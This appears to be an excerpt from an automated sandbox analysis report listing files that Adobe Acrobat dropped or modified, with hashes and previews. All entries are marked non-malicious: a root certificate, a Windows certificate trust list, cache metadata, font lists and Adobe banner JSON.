Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklp9dWttfllXlE/HT8ka7/ltNNX8RolJuRdxLlGB9lQRYwpDdt:kKIyeT8ZzdNMa8RdWBwRd
MD5:	B355B239DDCC24EC2759E0D4DF9277C8
SHA1:	1EA782E0F9C4952580493E192B3EE1ADC589267A
SHA-256:	3E5E23F47ECA1A1DCA4BB2C37F32F7BFAD6BFC1C6FB55515C34B34E32728F911
SHA-512:	ACDAA182B90505182AAAEAACA5572BB437B75A77D5C961E4762BA413B7B2C4B3BC38821BEA197AF4D3DD42D6D885C5C390061032CAAF6AB2B9EAC4AE16B3EC25
Malicious:	false
Preview:	p...... ........Z.MH.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2368928658074476
Encrypted:	false
SSDEEP:	6:kKFgGDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:NgGDiDImsLNkPlE99SNxAhUe/3
MD5:	F023872A0FB471667D1A12E7F05E6B09
SHA1:	B26970C24EA08165012A493B36FAB1B877AD3F33
SHA-256:	EF54FD2D2D5F9A280D3AB44D13F8A1E1E143F2A0C7EFFEAD3D30252AD5A53E00
SHA-512:	0ABB49A396C5F53A4B9127A98DB3B91588FA3ABA28785B9A918524864C408B39600C631E25CE0734DF2023B1634A6F61F85E0971309482A9193401352C732AF1
Malicious:	false
Preview:	p...... ..........Z.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1592

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1592

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3734167733121945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJM3g98kUwPeUkwRe9:YvXKXESJi9VyUitoCGMbLUkee9
MD5:	2120652E81C5976742C8932ACD3A8CED
SHA1:	E4D92799CCB1279C6F702F5ED72D7B2A68EDAF83
SHA-256:	B8526531D07D761764E25CC0BB9A69DB6DD925B24B48C23DE8C0CFE6F901AC56
SHA-512:	5D133E3286AF238CDF0E3B6D4275164AE8F15F3CDF33308EFEA9216DFD0ABB18BD878520984CA5322461FD37B438CD634AB9AD377832744534C45B23CB88F0DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.320430434663434
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJfBoTfXpnrPeUkwRe9:YvXKXESJi9VyUitoCGWTfXcUkee9
MD5:	399940FF19152426D2CE0F7734129992
SHA1:	2B4AE1A7A407CDDD555AA85C4B90E2C6D7EE5BE9
SHA-256:	2371165B02A515C8672F42A1A0FEA93A0BC298D7C69EBF63B9C081D17CDDB5CA
SHA-512:	4E1E2AF055551402AC41146015100BA328077F3C9871247BD93C8D856B5D0285D324E45D6BA5DF00A6FF4968DA2C62B0844A322D9FFC960E0D23CE55E3766B3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299136648890313
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJfBD2G6UpnrPeUkwRe9:YvXKXESJi9VyUitoCGR22cUkee9
MD5:	35C5C454FA115CD1E26A6090062B89EE
SHA1:	DBB5C9215C99BEEDF5E092D31D90FB4C2248FD9D
SHA-256:	B80C7A2B974332FCE0AF4BA42102B12A4B942EDFD79210132DEC7D394E6E80E5
SHA-512:	D12BD8BD8D0194FE154493A3F8666BF1F269F891384E09D7AA39E774B6AD9D6B5457DF70A12770D4E6B94E452F1EB7452C903DC0FE4887D06E707DE40EAA51A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.364448035393552
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJfPmwrPeUkwRe9:YvXKXESJi9VyUitoCGH56Ukee9
MD5:	AEE100E556CC05B461D12125C68422FF
SHA1:	ECCFEB3D245EDE8552F0AA9ACE3DB61A62FD3DD4
SHA-256:	8B7BD18B51ABF9FC0E2911C893C7DC2F61626D5F49ACD11CFC5EC1678CA1B7F9
SHA-512:	AB877D0E4D9A3219BCD6306306B0EC6557E31C2E69122B7BB335812A432A132EF93A8765F8AD09059E9FD3374B4A4630E508E4508C84CA045319CAA0758D2A19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6954686564804815
Encrypted:	false
SSDEEP:	24:Yv6XGjC6/pLgE9cQx8LennAvzBvkn0RCmK8czOCCSr:YvE6/hgy6SAFv5Ah8cv/r
MD5:	C4989FEC6A6DD2881795E0245A546C5D
SHA1:	352C98814ABFA00C543C799DBF6D4400F0462F73
SHA-256:	110B22DDA36000D33B8601FECA013B2D8BD5A7A0DC956186AF8A3478B7647FC3
SHA-512:	B186AFC55FC4C5CFBC9DD2811DAC521A8B3BD7A652A6B9ED9AF0B4E61F1523F77598F64CFAA4BA0E4159C37752558F756C23CAB3185A2E35C253E2847AE80736
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.312849209773799
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJf8dPeUkwRe9:YvXKXESJi9VyUitoCGU8Ukee9
MD5:	325A5105DF92CB02DDD04B89D50721AE
SHA1:	224E9B02D66A2184F1CC507259B766B6ED48B4AE
SHA-256:	D2664DFCB82D93A25A96DE885D12358A61CE21A166CF45B4F096E30F97E4D6C5
SHA-512:	6F5C4CD8FE927B52DE4245D1240C924D6818A537A63911F3C3DCC4CA7098523AC5EB9F534780782DE5FFD41FFF6CD5FB2B3C02FF5EE49C1187DFBD050701DD9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.31427219555329
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJfQ1rPeUkwRe9:YvXKXESJi9VyUitoCGY16Ukee9
MD5:	0F91B950DA380ED836F27D2B2C8C509C
SHA1:	4E22195A572AC47E0D27507B9557D88B11F22895
SHA-256:	D7BC921D2EE912E668F3B885D3DED0623889A8F44323BF61BEB75A2F0DCA8AFA
SHA-512:	B328C725D82B35553CE905B97DB3453471C5B200EE704A036A7EEFAEE6CD280FD29EEB1469D133A917678AC7CEB238D7B8F3079388D1653AB9E341CD28BD322C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322657425786952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJfFldPeUkwRe9:YvXKXESJi9VyUitoCGz8Ukee9
MD5:	67840D2634FBC3B972A2B6486BE5DF24
SHA1:	6A4D5ABFBA7A0E244102A4605633988A10B0AF48
SHA-256:	F2D25DA7B78C51D78FA201FAED19691272C389CEDF73419B1038E5B1D5293ACD
SHA-512:	6B8E5E986BF6853BC35A68877B525F088E6BEFDEE9B6039E5FCD47C2AD3D7D2EC8D4A6686DD0971351EF455C47C6FE60CE06927D2776295BFA62B1EF4A1D5E10
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.337633152405212
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJfzdPeUkwRe9:YvXKXESJi9VyUitoCGb8Ukee9
MD5:	44537A6D55C9171024A175A5CC83CA30
SHA1:	ECAE24CCFE4BBFCCBDA222ECE3E459813D0CF407
SHA-256:	AA552A83143749E663CFBBE2183C2E1FF33292F1B25D782C88C9EC837514C4B4
SHA-512:	30639AC259E9F57141FF088A99192E1FEFF4D024CE4B45B806311DE577D599AC27CF91DE3763F903CB7424C0CCCB96A75FC5660B06B0D62934035EE07E834248
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

